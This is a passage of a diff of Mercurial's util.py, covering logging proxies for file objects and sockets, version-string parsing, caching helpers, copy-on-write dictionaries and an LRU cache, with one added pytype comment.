506 506 # Call a method on the observer of the same name with arguments
507 507 # so it can react, log, etc.
508 508 observer = object.__getattribute__(self, r'_observer')
509 509 fn = getattr(observer, name, None)
510 510 if fn:
511 511 fn(res, *args, **kwargs)
512 512
513 513 return res
514 514
515 515 def close(self, *args, **kwargs):
516 516 return object.__getattribute__(self, r'_observedcall')(
517 517 r'close', *args, **kwargs
518 518 )
519 519
520 520 def fileno(self, *args, **kwargs):
521 521 return object.__getattribute__(self, r'_observedcall')(
522 522 r'fileno', *args, **kwargs
523 523 )
524 524
525 525 def flush(self, *args, **kwargs):
526 526 return object.__getattribute__(self, r'_observedcall')(
527 527 r'flush', *args, **kwargs
528 528 )
529 529
530 530 def isatty(self, *args, **kwargs):
531 531 return object.__getattribute__(self, r'_observedcall')(
532 532 r'isatty', *args, **kwargs
533 533 )
534 534
535 535 def readable(self, *args, **kwargs):
536 536 return object.__getattribute__(self, r'_observedcall')(
537 537 r'readable', *args, **kwargs
538 538 )
539 539
540 540 def readline(self, *args, **kwargs):
541 541 return object.__getattribute__(self, r'_observedcall')(
542 542 r'readline', *args, **kwargs
543 543 )
544 544
545 545 def readlines(self, *args, **kwargs):
546 546 return object.__getattribute__(self, r'_observedcall')(
547 547 r'readlines', *args, **kwargs
548 548 )
549 549
550 550 def seek(self, *args, **kwargs):
551 551 return object.__getattribute__(self, r'_observedcall')(
552 552 r'seek', *args, **kwargs
553 553 )
554 554
555 555 def seekable(self, *args, **kwargs):
556 556 return object.__getattribute__(self, r'_observedcall')(
557 557 r'seekable', *args, **kwargs
558 558 )
559 559
560 560 def tell(self, *args, **kwargs):
561 561 return object.__getattribute__(self, r'_observedcall')(
562 562 r'tell', *args, **kwargs
563 563 )
564 564
565 565 def truncate(self, *args, **kwargs):
566 566 return object.__getattribute__(self, r'_observedcall')(
567 567 r'truncate', *args, **kwargs
568 568 )
569 569
570 570 def writable(self, *args, **kwargs):
571 571 return object.__getattribute__(self, r'_observedcall')(
572 572 r'writable', *args, **kwargs
573 573 )
574 574
575 575 def writelines(self, *args, **kwargs):
576 576 return object.__getattribute__(self, r'_observedcall')(
577 577 r'writelines', *args, **kwargs
578 578 )
579 579
580 580 def read(self, *args, **kwargs):
581 581 return object.__getattribute__(self, r'_observedcall')(
582 582 r'read', *args, **kwargs
583 583 )
584 584
585 585 def readall(self, *args, **kwargs):
586 586 return object.__getattribute__(self, r'_observedcall')(
587 587 r'readall', *args, **kwargs
588 588 )
589 589
590 590 def readinto(self, *args, **kwargs):
591 591 return object.__getattribute__(self, r'_observedcall')(
592 592 r'readinto', *args, **kwargs
593 593 )
594 594
595 595 def write(self, *args, **kwargs):
596 596 return object.__getattribute__(self, r'_observedcall')(
597 597 r'write', *args, **kwargs
598 598 )
599 599
600 600 def detach(self, *args, **kwargs):
601 601 return object.__getattribute__(self, r'_observedcall')(
602 602 r'detach', *args, **kwargs
603 603 )
604 604
605 605 def read1(self, *args, **kwargs):
606 606 return object.__getattribute__(self, r'_observedcall')(
607 607 r'read1', *args, **kwargs
608 608 )
609 609
610 610
611 611 class observedbufferedinputpipe(bufferedinputpipe):
612 612 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
613 613
614 614 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
615 615 bypass ``fileobjectproxy``. Because of this, we need to make
616 616 ``bufferedinputpipe`` aware of these operations.
617 617
618 618 This variation of ``bufferedinputpipe`` can notify observers about
619 619 ``os.read()`` events. It also re-publishes other events, such as
620 620 ``read()`` and ``readline()``.
621 621 """
622 622
623 623 def _fillbuffer(self):
624 624 res = super(observedbufferedinputpipe, self)._fillbuffer()
625 625
626 626 fn = getattr(self._input._observer, 'osread', None)
627 627 if fn:
628 628 fn(res, _chunksize)
629 629
630 630 return res
631 631
632 632 # We use different observer methods because the operation isn't
633 633 # performed on the actual file object but on us.
634 634 def read(self, size):
635 635 res = super(observedbufferedinputpipe, self).read(size)
636 636
637 637 fn = getattr(self._input._observer, 'bufferedread', None)
638 638 if fn:
639 639 fn(res, size)
640 640
641 641 return res
642 642
643 643 def readline(self, *args, **kwargs):
644 644 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
645 645
646 646 fn = getattr(self._input._observer, 'bufferedreadline', None)
647 647 if fn:
648 648 fn(res)
649 649
650 650 return res
651 651
652 652
653 653 PROXIED_SOCKET_METHODS = {
654 654 r'makefile',
655 655 r'recv',
656 656 r'recvfrom',
657 657 r'recvfrom_into',
658 658 r'recv_into',
659 659 r'send',
660 660 r'sendall',
661 661 r'sendto',
662 662 r'setblocking',
663 663 r'settimeout',
664 664 r'gettimeout',
665 665 r'setsockopt',
666 666 }
667 667
668 668
669 669 class socketproxy(object):
670 670 """A proxy around a socket that tells a watcher when events occur.
671 671
672 672 This is like ``fileobjectproxy`` except for sockets.
673 673
674 674 This type is intended to only be used for testing purposes. Think hard
675 675 before using it in important code.
676 676 """
677 677
678 678 __slots__ = (
679 679 r'_orig',
680 680 r'_observer',
681 681 )
682 682
683 683 def __init__(self, sock, observer):
684 684 object.__setattr__(self, r'_orig', sock)
685 685 object.__setattr__(self, r'_observer', observer)
686 686
687 687 def __getattribute__(self, name):
688 688 if name in PROXIED_SOCKET_METHODS:
689 689 return object.__getattribute__(self, name)
690 690
691 691 return getattr(object.__getattribute__(self, r'_orig'), name)
692 692
693 693 def __delattr__(self, name):
694 694 return delattr(object.__getattribute__(self, r'_orig'), name)
695 695
696 696 def __setattr__(self, name, value):
697 697 return setattr(object.__getattribute__(self, r'_orig'), name, value)
698 698
699 699 def __nonzero__(self):
700 700 return bool(object.__getattribute__(self, r'_orig'))
701 701
702 702 __bool__ = __nonzero__
703 703
704 704 def _observedcall(self, name, *args, **kwargs):
705 705 # Call the original object.
706 706 orig = object.__getattribute__(self, r'_orig')
707 707 res = getattr(orig, name)(*args, **kwargs)
708 708
709 709 # Call a method on the observer of the same name with arguments
710 710 # so it can react, log, etc.
711 711 observer = object.__getattribute__(self, r'_observer')
712 712 fn = getattr(observer, name, None)
713 713 if fn:
714 714 fn(res, *args, **kwargs)
715 715
716 716 return res
717 717
718 718 def makefile(self, *args, **kwargs):
719 719 res = object.__getattribute__(self, r'_observedcall')(
720 720 r'makefile', *args, **kwargs
721 721 )
722 722
723 723 # The file object may be used for I/O. So we turn it into a
724 724 # proxy using our observer.
725 725 observer = object.__getattribute__(self, r'_observer')
726 726 return makeloggingfileobject(
727 727 observer.fh,
728 728 res,
729 729 observer.name,
730 730 reads=observer.reads,
731 731 writes=observer.writes,
732 732 logdata=observer.logdata,
733 733 logdataapis=observer.logdataapis,
734 734 )
735 735
736 736 def recv(self, *args, **kwargs):
737 737 return object.__getattribute__(self, r'_observedcall')(
738 738 r'recv', *args, **kwargs
739 739 )
740 740
741 741 def recvfrom(self, *args, **kwargs):
742 742 return object.__getattribute__(self, r'_observedcall')(
743 743 r'recvfrom', *args, **kwargs
744 744 )
745 745
746 746 def recvfrom_into(self, *args, **kwargs):
747 747 return object.__getattribute__(self, r'_observedcall')(
748 748 r'recvfrom_into', *args, **kwargs
749 749 )
750 750
751 751 def recv_into(self, *args, **kwargs):
752 752 return object.__getattribute__(self, r'_observedcall')(
753 753 r'recv_info', *args, **kwargs
754 754 )
755 755
756 756 def send(self, *args, **kwargs):
757 757 return object.__getattribute__(self, r'_observedcall')(
758 758 r'send', *args, **kwargs
759 759 )
760 760
761 761 def sendall(self, *args, **kwargs):
762 762 return object.__getattribute__(self, r'_observedcall')(
763 763 r'sendall', *args, **kwargs
764 764 )
765 765
766 766 def sendto(self, *args, **kwargs):
767 767 return object.__getattribute__(self, r'_observedcall')(
768 768 r'sendto', *args, **kwargs
769 769 )
770 770
771 771 def setblocking(self, *args, **kwargs):
772 772 return object.__getattribute__(self, r'_observedcall')(
773 773 r'setblocking', *args, **kwargs
774 774 )
775 775
776 776 def settimeout(self, *args, **kwargs):
777 777 return object.__getattribute__(self, r'_observedcall')(
778 778 r'settimeout', *args, **kwargs
779 779 )
780 780
781 781 def gettimeout(self, *args, **kwargs):
782 782 return object.__getattribute__(self, r'_observedcall')(
783 783 r'gettimeout', *args, **kwargs
784 784 )
785 785
786 786 def setsockopt(self, *args, **kwargs):
787 787 return object.__getattribute__(self, r'_observedcall')(
788 788 r'setsockopt', *args, **kwargs
789 789 )
790 790
791 791
792 792 class baseproxyobserver(object):
793 793 def _writedata(self, data):
794 794 if not self.logdata:
795 795 if self.logdataapis:
796 796 self.fh.write(b'\n')
797 797 self.fh.flush()
798 798 return
799 799
800 800 # Simple case writes all data on a single line.
801 801 if b'\n' not in data:
802 802 if self.logdataapis:
803 803 self.fh.write(b': %s\n' % stringutil.escapestr(data))
804 804 else:
805 805 self.fh.write(
806 806 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
807 807 )
808 808 self.fh.flush()
809 809 return
810 810
811 811 # Data with newlines is written to multiple lines.
812 812 if self.logdataapis:
813 813 self.fh.write(b':\n')
814 814
815 815 lines = data.splitlines(True)
816 816 for line in lines:
817 817 self.fh.write(
818 818 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
819 819 )
820 820 self.fh.flush()
821 821
822 822
823 823 class fileobjectobserver(baseproxyobserver):
824 824 """Logs file object activity."""
825 825
826 826 def __init__(
827 827 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
828 828 ):
829 829 self.fh = fh
830 830 self.name = name
831 831 self.logdata = logdata
832 832 self.logdataapis = logdataapis
833 833 self.reads = reads
834 834 self.writes = writes
835 835
836 836 def read(self, res, size=-1):
837 837 if not self.reads:
838 838 return
839 839 # Python 3 can return None from reads at EOF instead of empty strings.
840 840 if res is None:
841 841 res = b''
842 842
843 843 if size == -1 and res == b'':
844 844 # Suppress pointless read(-1) calls that return
845 845 # nothing. These happen _a lot_ on Python 3, and there
846 846 # doesn't seem to be a better workaround to have matching
847 847 # Python 2 and 3 behavior. :(
848 848 return
849 849
850 850 if self.logdataapis:
851 851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
852 852
853 853 self._writedata(res)
854 854
855 855 def readline(self, res, limit=-1):
856 856 if not self.reads:
857 857 return
858 858
859 859 if self.logdataapis:
860 860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
861 861
862 862 self._writedata(res)
863 863
864 864 def readinto(self, res, dest):
865 865 if not self.reads:
866 866 return
867 867
868 868 if self.logdataapis:
869 869 self.fh.write(
870 870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
871 871 )
872 872
873 873 data = dest[0:res] if res is not None else b''
874 874
875 875 # _writedata() uses "in" operator and is confused by memoryview because
876 876 # characters are ints on Python 3.
877 877 if isinstance(data, memoryview):
878 878 data = data.tobytes()
879 879
880 880 self._writedata(data)
881 881
882 882 def write(self, res, data):
883 883 if not self.writes:
884 884 return
885 885
886 886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 887 # returns the integer bytes written.
888 888 if res is None and data:
889 889 res = len(data)
890 890
891 891 if self.logdataapis:
892 892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
893 893
894 894 self._writedata(data)
895 895
896 896 def flush(self, res):
897 897 if not self.writes:
898 898 return
899 899
900 900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
901 901
902 902 # For observedbufferedinputpipe.
903 903 def bufferedread(self, res, size):
904 904 if not self.reads:
905 905 return
906 906
907 907 if self.logdataapis:
908 908 self.fh.write(
909 909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
910 910 )
911 911
912 912 self._writedata(res)
913 913
914 914 def bufferedreadline(self, res):
915 915 if not self.reads:
916 916 return
917 917
918 918 if self.logdataapis:
919 919 self.fh.write(
920 920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
921 921 )
922 922
923 923 self._writedata(res)
924 924
925 925
926 926 def makeloggingfileobject(
927 927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
928 928 ):
929 929 """Turn a file object into a logging file object."""
930 930
931 931 observer = fileobjectobserver(
932 932 logh,
933 933 name,
934 934 reads=reads,
935 935 writes=writes,
936 936 logdata=logdata,
937 937 logdataapis=logdataapis,
938 938 )
939 939 return fileobjectproxy(fh, observer)
940 940
941 941
942 942 class socketobserver(baseproxyobserver):
943 943 """Logs socket activity."""
944 944
945 945 def __init__(
946 946 self,
947 947 fh,
948 948 name,
949 949 reads=True,
950 950 writes=True,
951 951 states=True,
952 952 logdata=False,
953 953 logdataapis=True,
954 954 ):
955 955 self.fh = fh
956 956 self.name = name
957 957 self.reads = reads
958 958 self.writes = writes
959 959 self.states = states
960 960 self.logdata = logdata
961 961 self.logdataapis = logdataapis
962 962
963 963 def makefile(self, res, mode=None, bufsize=None):
964 964 if not self.states:
965 965 return
966 966
967 967 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
968 968
969 969 def recv(self, res, size, flags=0):
970 970 if not self.reads:
971 971 return
972 972
973 973 if self.logdataapis:
974 974 self.fh.write(
975 975 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
976 976 )
977 977 self._writedata(res)
978 978
979 979 def recvfrom(self, res, size, flags=0):
980 980 if not self.reads:
981 981 return
982 982
983 983 if self.logdataapis:
984 984 self.fh.write(
985 985 b'%s> recvfrom(%d, %d) -> %d'
986 986 % (self.name, size, flags, len(res[0]))
987 987 )
988 988
989 989 self._writedata(res[0])
990 990
991 991 def recvfrom_into(self, res, buf, size, flags=0):
992 992 if not self.reads:
993 993 return
994 994
995 995 if self.logdataapis:
996 996 self.fh.write(
997 997 b'%s> recvfrom_into(%d, %d) -> %d'
998 998 % (self.name, size, flags, res[0])
999 999 )
1000 1000
1001 1001 self._writedata(buf[0 : res[0]])
1002 1002
1003 1003 def recv_into(self, res, buf, size=0, flags=0):
1004 1004 if not self.reads:
1005 1005 return
1006 1006
1007 1007 if self.logdataapis:
1008 1008 self.fh.write(
1009 1009 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1010 1010 )
1011 1011
1012 1012 self._writedata(buf[0:res])
1013 1013
1014 1014 def send(self, res, data, flags=0):
1015 1015 if not self.writes:
1016 1016 return
1017 1017
1018 1018 self.fh.write(
1019 1019 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1020 1020 )
1021 1021 self._writedata(data)
1022 1022
1023 1023 def sendall(self, res, data, flags=0):
1024 1024 if not self.writes:
1025 1025 return
1026 1026
1027 1027 if self.logdataapis:
1028 1028 # Returns None on success. So don't bother reporting return value.
1029 1029 self.fh.write(
1030 1030 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1031 1031 )
1032 1032
1033 1033 self._writedata(data)
1034 1034
1035 1035 def sendto(self, res, data, flagsoraddress, address=None):
1036 1036 if not self.writes:
1037 1037 return
1038 1038
1039 1039 if address:
1040 1040 flags = flagsoraddress
1041 1041 else:
1042 1042 flags = 0
1043 1043
1044 1044 if self.logdataapis:
1045 1045 self.fh.write(
1046 1046 b'%s> sendto(%d, %d, %r) -> %d'
1047 1047 % (self.name, len(data), flags, address, res)
1048 1048 )
1049 1049
1050 1050 self._writedata(data)
1051 1051
1052 1052 def setblocking(self, res, flag):
1053 1053 if not self.states:
1054 1054 return
1055 1055
1056 1056 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1057 1057
1058 1058 def settimeout(self, res, value):
1059 1059 if not self.states:
1060 1060 return
1061 1061
1062 1062 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1063 1063
1064 1064 def gettimeout(self, res):
1065 1065 if not self.states:
1066 1066 return
1067 1067
1068 1068 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1069 1069
1070 1070 def setsockopt(self, res, level, optname, value):
1071 1071 if not self.states:
1072 1072 return
1073 1073
1074 1074 self.fh.write(
1075 1075 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1076 1076 % (self.name, level, optname, value, res)
1077 1077 )
1078 1078
1079 1079
1080 1080 def makeloggingsocket(
1081 1081 logh,
1082 1082 fh,
1083 1083 name,
1084 1084 reads=True,
1085 1085 writes=True,
1086 1086 states=True,
1087 1087 logdata=False,
1088 1088 logdataapis=True,
1089 1089 ):
1090 1090 """Turn a socket into a logging socket."""
1091 1091
1092 1092 observer = socketobserver(
1093 1093 logh,
1094 1094 name,
1095 1095 reads=reads,
1096 1096 writes=writes,
1097 1097 states=states,
1098 1098 logdata=logdata,
1099 1099 logdataapis=logdataapis,
1100 1100 )
1101 1101 return socketproxy(fh, observer)
1102 1102
1103 1103
1104 1104 def version():
1105 1105 """Return version information if available."""
1106 1106 try:
1107 1107 from . import __version__
1108 1108
1109 1109 return __version__.version
1110 1110 except ImportError:
1111 1111 return b'unknown'
1112 1112
1113 1113
1114 1114 def versiontuple(v=None, n=4):
1115 1115 """Parses a Mercurial version string into an N-tuple.
1116 1116
1117 1117 The version string to be parsed is specified with the ``v`` argument.
1118 1118 If it isn't defined, the current Mercurial version string will be parsed.
1119 1119
1120 1120 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1121 1121 returned values:
1122 1122
1123 1123 >>> v = b'3.6.1+190-df9b73d2d444'
1124 1124 >>> versiontuple(v, 2)
1125 1125 (3, 6)
1126 1126 >>> versiontuple(v, 3)
1127 1127 (3, 6, 1)
1128 1128 >>> versiontuple(v, 4)
1129 1129 (3, 6, 1, '190-df9b73d2d444')
1130 1130
1131 1131 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1132 1132 (3, 6, 1, '190-df9b73d2d444+20151118')
1133 1133
1134 1134 >>> v = b'3.6'
1135 1135 >>> versiontuple(v, 2)
1136 1136 (3, 6)
1137 1137 >>> versiontuple(v, 3)
1138 1138 (3, 6, None)
1139 1139 >>> versiontuple(v, 4)
1140 1140 (3, 6, None, None)
1141 1141
1142 1142 >>> v = b'3.9-rc'
1143 1143 >>> versiontuple(v, 2)
1144 1144 (3, 9)
1145 1145 >>> versiontuple(v, 3)
1146 1146 (3, 9, None)
1147 1147 >>> versiontuple(v, 4)
1148 1148 (3, 9, None, 'rc')
1149 1149
1150 1150 >>> v = b'3.9-rc+2-02a8fea4289b'
1151 1151 >>> versiontuple(v, 2)
1152 1152 (3, 9)
1153 1153 >>> versiontuple(v, 3)
1154 1154 (3, 9, None)
1155 1155 >>> versiontuple(v, 4)
1156 1156 (3, 9, None, 'rc+2-02a8fea4289b')
1157 1157
1158 1158 >>> versiontuple(b'4.6rc0')
1159 1159 (4, 6, None, 'rc0')
1160 1160 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1161 1161 (4, 6, None, 'rc0+12-425d55e54f98')
1162 1162 >>> versiontuple(b'.1.2.3')
1163 1163 (None, None, None, '.1.2.3')
1164 1164 >>> versiontuple(b'12.34..5')
1165 1165 (12, 34, None, '..5')
1166 1166 >>> versiontuple(b'1.2.3.4.5.6')
1167 1167 (1, 2, 3, '.4.5.6')
1168 1168 """
1169 1169 if not v:
1170 1170 v = version()
1171 1171 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1172 1172 if not m:
1173 1173 vparts, extra = b'', v
1174 1174 elif m.group(2):
1175 1175 vparts, extra = m.groups()
1176 1176 else:
1177 1177 vparts, extra = m.group(1), None
1178 1178
1179 1179 vints = []
1180 1180 for i in vparts.split(b'.'):
1181 1181 try:
1182 1182 vints.append(int(i))
1183 1183 except ValueError:
1184 1184 break
1185 1185 # (3, 6) -> (3, 6, None)
1186 1186 while len(vints) < 3:
1187 1187 vints.append(None)
1188 1188
1189 1189 if n == 2:
1190 1190 return (vints[0], vints[1])
1191 1191 if n == 3:
1192 1192 return (vints[0], vints[1], vints[2])
1193 1193 if n == 4:
1194 1194 return (vints[0], vints[1], vints[2], extra)
1195 1195
1196 1196
1197 1197 def cachefunc(func):
1198 1198 '''cache the result of function calls'''
1199 1199 # XXX doesn't handle keywords args
1200 1200 if func.__code__.co_argcount == 0:
1201 1201 cache = []
1202 1202
1203 1203 def f():
1204 1204 if len(cache) == 0:
1205 1205 cache.append(func())
1206 1206 return cache[0]
1207 1207
1208 1208 return f
1209 1209 cache = {}
1210 1210 if func.__code__.co_argcount == 1:
1211 1211 # we gain a small amount of time because
1212 1212 # we don't need to pack/unpack the list
1213 1213 def f(arg):
1214 1214 if arg not in cache:
1215 1215 cache[arg] = func(arg)
1216 1216 return cache[arg]
1217 1217
1218 1218 else:
1219 1219
1220 1220 def f(*args):
1221 1221 if args not in cache:
1222 1222 cache[args] = func(*args)
1223 1223 return cache[args]
1224 1224
1225 1225 return f
1226 1226
1227 1227
1228 1228 class cow(object):
1229 1229 """helper class to make copy-on-write easier
1230 1230
1231 1231 Call preparewrite before doing any writes.
1232 1232 """
1233 1233
1234 1234 def preparewrite(self):
1235 1235 """call this before writes, return self or a copied new object"""
1236 1236 if getattr(self, '_copied', 0):
1237 1237 self._copied -= 1
1238 1238 return self.__class__(self)
1239 1239 return self
1240 1240
1241 1241 def copy(self):
1242 1242 """always do a cheap copy"""
1243 1243 self._copied = getattr(self, '_copied', 0) + 1
1244 1244 return self
1245 1245
1246 1246
1247 1247 class sortdict(collections.OrderedDict):
1248 1248 '''a simple sorted dictionary
1249 1249
1250 1250 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1251 1251 >>> d2 = d1.copy()
1252 1252 >>> d2
1253 1253 sortdict([('a', 0), ('b', 1)])
1254 1254 >>> d2.update([(b'a', 2)])
1255 1255 >>> list(d2.keys()) # should still be in last-set order
1256 1256 ['b', 'a']
1257 1257 '''
1258 1258
1259 1259 def __setitem__(self, key, value):
1260 1260 if key in self:
1261 1261 del self[key]
1262 1262 super(sortdict, self).__setitem__(key, value)
1263 1263
1264 1264 if pycompat.ispypy:
1265 1265 # __setitem__() isn't called as of PyPy 5.8.0
1266 1266 def update(self, src):
1267 1267 if isinstance(src, dict):
1268 1268 src = pycompat.iteritems(src)
1269 1269 for k, v in src:
1270 1270 self[k] = v
1271 1271
1272 1272
1273 1273 class cowdict(cow, dict):
1274 1274 """copy-on-write dict
1275 1275
1276 1276 Be sure to call d = d.preparewrite() before writing to d.
1277 1277
1278 1278 >>> a = cowdict()
1279 1279 >>> a is a.preparewrite()
1280 1280 True
1281 1281 >>> b = a.copy()
1282 1282 >>> b is a
1283 1283 True
1284 1284 >>> c = b.copy()
1285 1285 >>> c is a
1286 1286 True
1287 1287 >>> a = a.preparewrite()
1288 1288 >>> b is a
1289 1289 False
1290 1290 >>> a is a.preparewrite()
1291 1291 True
1292 1292 >>> c = c.preparewrite()
1293 1293 >>> b is c
1294 1294 False
1295 1295 >>> b is b.preparewrite()
1296 1296 True
1297 1297 """
1298 1298
1299 1299
1300 1300 class cowsortdict(cow, sortdict):
1301 1301 """copy-on-write sortdict
1302 1302
1303 1303 Be sure to call d = d.preparewrite() before writing to d.
1304 1304 """
1305 1305
1306 1306
1307 class transactional(object):
1307 class transactional(object): # pytype: disable=ignored-metaclass
1308 1308 """Base class for making a transactional type into a context manager."""
1309 1309
1310 1310 __metaclass__ = abc.ABCMeta
1311 1311
1312 1312 @abc.abstractmethod
1313 1313 def close(self):
1314 1314 """Successfully closes the transaction."""
1315 1315
1316 1316 @abc.abstractmethod
1317 1317 def release(self):
1318 1318 """Marks the end of the transaction.
1319 1319
1320 1320 If the transaction has not been closed, it will be aborted.
1321 1321 """
1322 1322
1323 1323 def __enter__(self):
1324 1324 return self
1325 1325
1326 1326 def __exit__(self, exc_type, exc_val, exc_tb):
1327 1327 try:
1328 1328 if exc_type is None:
1329 1329 self.close()
1330 1330 finally:
1331 1331 self.release()
1332 1332
1333 1333
1334 1334 @contextlib.contextmanager
1335 1335 def acceptintervention(tr=None):
1336 1336 """A context manager that closes the transaction on InterventionRequired
1337 1337
1338 1338 If no transaction was provided, this simply runs the body and returns
1339 1339 """
1340 1340 if not tr:
1341 1341 yield
1342 1342 return
1343 1343 try:
1344 1344 yield
1345 1345 tr.close()
1346 1346 except error.InterventionRequired:
1347 1347 tr.close()
1348 1348 raise
1349 1349 finally:
1350 1350 tr.release()
1351 1351
1352 1352
1353 1353 @contextlib.contextmanager
1354 1354 def nullcontextmanager():
1355 1355 yield
1356 1356
1357 1357
1358 1358 class _lrucachenode(object):
1359 1359 """A node in a doubly linked list.
1360 1360
1361 1361 Holds a reference to nodes on either side as well as a key-value
1362 1362 pair for the dictionary entry.
1363 1363 """
1364 1364
1365 1365 __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
1366 1366
1367 1367 def __init__(self):
1368 1368 self.next = None
1369 1369 self.prev = None
1370 1370
1371 1371 self.key = _notset
1372 1372 self.value = None
1373 1373 self.cost = 0
1374 1374
1375 1375 def markempty(self):
1376 1376 """Mark the node as emptied."""
1377 1377 self.key = _notset
1378 1378 self.value = None
1379 1379 self.cost = 0
1380 1380
1381 1381
1382 1382 class lrucachedict(object):
1383 1383 """Dict that caches most recent accesses and sets.
1384 1384
1385 1385 The dict consists of an actual backing dict - indexed by original
1386 1386 key - and a doubly linked circular list defining the order of entries in
1387 1387 the cache.
1388 1388
1389 1389 The head node is the newest entry in the cache. If the cache is full,
1390 1390 we recycle head.prev and make it the new head. Cache accesses result in
1391 1391 the node being moved to before the existing head and being marked as the
1392 1392 new head node.
1393 1393
1394 1394 Items in the cache can be inserted with an optional "cost" value. This is
1395 1395 simply an integer that is specified by the caller. The cache can be queried
1396 1396 for the total cost of all items presently in the cache.
1397 1397
1398 1398 The cache can also define a maximum cost. If a cache insertion would
1399 1399 cause the total cost of the cache to go beyond the maximum cost limit,
1400 1400 nodes will be evicted to make room for the new code. This can be used
1401 1401 to e.g. set a max memory limit and associate an estimated bytes size
1402 1402 cost to each item in the cache. By default, no maximum cost is enforced.
1403 1403 """
1404 1404
1405 1405 def __init__(self, max, maxcost=0):
1406 1406 self._cache = {}
1407 1407
1408 1408 self._head = head = _lrucachenode()
1409 1409 head.prev = head
1410 1410 head.next = head
1411 1411 self._size = 1
1412 1412 self.capacity = max
1413 1413 self.totalcost = 0
1414 1414 self.maxcost = maxcost
1415 1415
1416 1416 def __len__(self):
1417 1417 return len(self._cache)
1418 1418
1419 1419 def __contains__(self, k):
1420 1420 return k in self._cache
1421 1421
1422 1422 def __iter__(self):
1423 1423 # We don't have to iterate in cache order, but why not.
1424 1424 n = self._head
1425 1425 for i in range(len(self._cache)):
1426 1426 yield n.key
1427 1427 n = n.next
1428 1428
1429 1429 def __getitem__(self, k):
1430 1430 node = self._cache[k]
1431 1431 self._movetohead(node)
1432 1432 return node.value
1433 1433
1434 1434 def insert(self, k, v, cost=0):
1435 1435 """Insert a new item in the cache with optional cost value."""
1436 1436 node = self._cache.get(k)
1437 1437 # Replace existing value and mark as newest.
1438 1438 if node is not None:
1439 1439 self.totalcost -= node.cost
1440 1440 node.value = v
1441 1441 node.cost = cost
1442 1442 self.totalcost += cost
1443 1443 self._movetohead(node)
1444 1444
1445 1445 if self.maxcost:
1446 1446 self._enforcecostlimit()
1447 1447
1448 1448 return
1449 1449
1450 1450 if self._size < self.capacity:
1451 1451 node = self._addcapacity()
1452 1452 else:
1453 1453 # Grab the last/oldest item.
1454 1454 node = self._head.prev
1455 1455
1456 1456 # At capacity. Kill the old entry.
1457 1457 if node.key is not _notset:
1458 1458 self.totalcost -= node.cost
1459 1459 del self._cache[node.key]
1460 1460
1461 1461 node.key = k
1462 1462 node.value = v
1463 1463 node.cost = cost
1464 1464 self.totalcost += cost
1465 1465 self._cache[k] = node
1466 1466 # And mark it as newest entry. No need to adjust order since it
1467 1467 # is already self._head.prev.
1468 1468 self._head = node
1469 1469
1470 1470 if self.maxcost:
1471 1471 self._enforcecostlimit()
1472 1472
1473 1473 def __setitem__(self, k, v):
1474 1474 self.insert(k, v)
1475 1475
1476 1476 def __delitem__(self, k):
1477 1477 self.pop(k)
1478 1478
1479 1479 def pop(self, k, default=_notset):
1480 1480 try:
1481 1481 node = self._cache.pop(k)
1482 1482 except KeyError:
1483 1483 if default is _notset:
1484 1484 raise
1485 1485 return default
1486 1486 value = node.value
1487 1487 self.totalcost -= node.cost
1488 1488 node.markempty()
1489 1489
1490 1490 # Temporarily mark as newest item before re-adjusting head to make
1491 1491 # this node the oldest item.
1492 1492 self._movetohead(node)
1493 1493 self._head = node.next
1494 1494
1495 1495 return value
1496 1496
1497 1497 # Additional dict methods.
1498 1498
1499 1499 def get(self, k, default=None):
1500 1500 try:
1501 1501 return self.__getitem__(k)
1502 1502 except KeyError:
1503 1503 return default
1504 1504
1505 1505 def peek(self, k, default=_notset):
1506 1506 """Get the specified item without moving it to the head
1507 1507
1508 1508 Unlike get(), this doesn't mutate the internal state. But be aware
1509 1509 that it doesn't mean peek() is thread safe.
1510 1510 """
1511 1511 try:
1512 1512 node = self._cache[k]
1513 1513 return node.value
1514 1514 except KeyError:
1515 1515 if default is _notset:
1516 1516 raise
1517 1517 return default
1518 1518
1519 1519 def clear(self):
1520 1520 n = self._head
1521 1521 while n.key is not _notset:
1522 1522 self.totalcost -= n.cost
1523 1523 n.markempty()
1524 1524 n = n.next
1525 1525
1526 1526 self._cache.clear()
1527 1527
1528 1528 def copy(self, capacity=None, maxcost=0):
1529 1529 """Create a new cache as a copy of the current one.
1530 1530
1531 1531 By default, the new cache has the same capacity as the existing one.
1532 1532 But, the cache capacity can be changed as part of performing the
1533 1533 copy.
1534 1534
1535 1535 Items in the copy have an insertion/access order matching this
1536 1536 instance.
1537 1537 """
1538 1538
1539 1539 capacity = capacity or self.capacity
1540 1540 maxcost = maxcost or self.maxcost
1541 1541 result = lrucachedict(capacity, maxcost=maxcost)
1542 1542
1543 1543 # We copy entries by iterating in oldest-to-newest order so the copy
1544 1544 # has the correct ordering.
1545 1545
1546 1546 # Find the first non-empty entry.
